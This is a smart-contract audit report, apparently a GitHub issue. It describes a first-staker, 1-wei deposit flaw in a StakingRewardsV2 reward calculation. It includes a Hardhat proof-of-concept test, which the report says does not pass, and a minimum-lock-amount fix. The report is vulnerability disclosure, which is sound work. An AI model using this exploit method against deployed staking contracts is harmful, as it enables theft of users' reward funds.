If the first user locks an extremely small amount of tokens (1 wei), he can manipulate the reward that is supposed to receive. After locking a small amount, he can unlock it before the second user interacts with the contract.
See PoC for more details.
Note: Test does not passed because of authorized error in minting
const {ethers} = require("hardhat");
const {time} = require("@nomicfoundation/hardhat-network-helpers");
const { expect } = require("chai");
describe.only("PoC", async () => {
let StakingRewardsV2;
beforeEach(async () => {
this.accounts = await ethers.getSigners()
this.owner = this.accounts[0]
this.hacker = this.accounts[1]
EUSDMock = await ethers.getContractFactory("EUSD")
configurator = await ethers.getContractFactory("Configurator")
GovernanceTimelock = await ethers.getContractFactory("GovernanceTimelock")
esLBRBoostFactory = await ethers.getContractFactory("esLBRBoost")
let esLBRBoost = await esLBRBoostFactory.deploy()
LBR = await ethers.getContractFactory("LBR")
esLBR = await ethers.getContractFactory("esLBR")
mockUSDC = await ethers.getContractFactory("mockUSDC")
this.GovernanceTimelock = await GovernanceTimelock.deploy(1,[this.owner.address],[this.owner.address],this.owner.address);
console.log('GovernanceTimelock', this.GovernanceTimelock.address)
this.usdc = await mockUSDC.deploy()
console.log('USDC', this.usdc.address)
this.configurator = await configurator.deploy(this.GovernanceTimelock.address)
console.log('configurator', this.configurator.address)
this.esLBR = await esLBR.deploy(this.configurator.address)
console.log('esLBR', this.esLBR.address)
let factory = await ethers.getContractFactory("StakingRewardsV2")
StakingRewardsV2 = await factory.deploy(this.usdc.address, this.esLBR.address, esLBRBoost.address)
console.log(StakingRewardsV2);
// transfer
const balance = ethers.utils.parseEther("1")
await this.usdc.connect(this.owner).transfer(this.hacker.address, balance);
});
it("PoC", async () => {
// Part of total supply
const initialAmount = ethers.utils.parseEther("5184000");
await StakingRewardsV2.connect(this.owner).notifyRewardAmount(initialAmount);
// rewardRatio = 20*1e18 (depends on initial ammount and duration)
await this.usdc.connect(this.hacker).approve(StakingRewardsV2.address, ethers.utils.parseEther("1"));
const lowAmount = '1';
await StakingRewardsV2.connect(this.hacker).stake(1); // stake low amount
expect(await this.usdc.balanceOf(StakingRewardsV2.address)).to.be.equal(
'1' // staked 1 -> totalSupply is 1
);
// Next transaction is executed after 12 seconds (for example).
// If the time is bigger the exploit also will be bigger
await time.setNextBlockTimestamp((await time.latest()) + 12);
// Get reward:
// reward = (0 + rewardRate * 12 * 1e18) / 1 = 240*1e18
await StakingRewardsV2.connect(this.hacker).getReward();
});
});
The problem comes from division of totalSupply here return rewardPerTokenStored + (rewardRatio * (lastTimeRewardApplicable() - updatedAt) * 1e18) / totalSupply; in rewardPerToken function
If the rewardRate and execution time of the next transaction increase, the stolen amount of funds will also be higher.
Mannul review
Add a requirement for a minimal lock amount which user has to pass. instance
uint256 public constant MINIMAL_LOCK_AMOUNT = 1e16;
if (amount < MINIMAL_LOCK_AMOUNT) {
revert TooSmallAmount();
}
Invalid Validation
The text was updated successfully, but these errors were encountered:
All reactions